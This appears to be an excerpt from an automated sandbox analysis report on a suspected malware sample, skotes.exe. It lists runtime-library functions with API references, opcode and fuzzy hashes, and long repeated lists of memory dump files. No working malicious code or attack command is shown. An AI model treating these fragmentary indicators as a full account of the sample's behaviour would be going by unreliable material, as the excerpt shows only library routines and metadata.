C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 001FDFE8

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 686e5500d2a67e129442913a59a474e9d168c4ff1dc503e031a7629197dc9194
Instruction ID: c623373d2785dd4ba9a6482acec68a099788ee7b92f064a3af2215b341b5443c
Opcode Fuzzy Hash: 686e5500d2a67e129442913a59a474e9d168c4ff1dc503e031a7629197dc9194
Instruction Fuzzy Hash: 27219F7170420D7F9B30AE65DC80E7B77EDEF503687104624FA28971A1EBA0ED0086A0

Function 001F1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001F1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001F17AF

Strings

pContext, xrefs: 001F17A7

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 354b102bb801f90deff8314bcd0246b735b1f76324df37ca407b218a36889cbb
Instruction ID: 7021ca10b7f5246f175d7ba2c95c0101cf7414c831abeb2ffcd2fb7e30336e29
Opcode Fuzzy Hash: 354b102bb801f90deff8314bcd0246b735b1f76324df37ca407b218a36889cbb
Instruction Fuzzy Hash: B5112936A00218FBCF15FF58C8859BD77A5AFA4360B154165EE16A7342DB70ED41CBD0

Function 001E0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 001E0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 001E0D2A

Strings

p[", xrefs: 001E0CCF

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p["
API String ID: 3303180142-664761401
Opcode ID: 08625a77bb07bb87c5502204e61ab9879dc79cae54867d2decd8aa70df3802c3
Instruction ID: 5fa720160e4c0d98ecdd81cd97694d4386d4fb6e25f0e383d896434de10f5f32
Opcode Fuzzy Hash: 08625a77bb07bb87c5502204e61ab9879dc79cae54867d2decd8aa70df3802c3
Instruction Fuzzy Hash: 3B012830904A94AECB16EBFA795536C66E0BF1C314F60405EF004EB382CFB04EC18351

Function 001EB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 001EB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001EB961

Strings

pContext, xrefs: 001EB959

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 68790c0dcc8f6398aae1c84bb0d3c3d882179a28606e6525ae6c49bee7353b8b
Instruction ID: 4a4cb2d10ac3ce076d3c0101a138dc2071503bb8fb81199000fc47d74b8fc7b2
Opcode Fuzzy Hash: 68790c0dcc8f6398aae1c84bb0d3c3d882179a28606e6525ae6c49bee7353b8b
Instruction Fuzzy Hash: 8BE06139B00108A7CB00B764DC49CDDB7BD5FE07103004016FA15A3341DF709951C9D0

Function 001E34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001E34FC

Strings

version, xrefs: 001E34E1
pScheduler, xrefs: 001E34F4

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
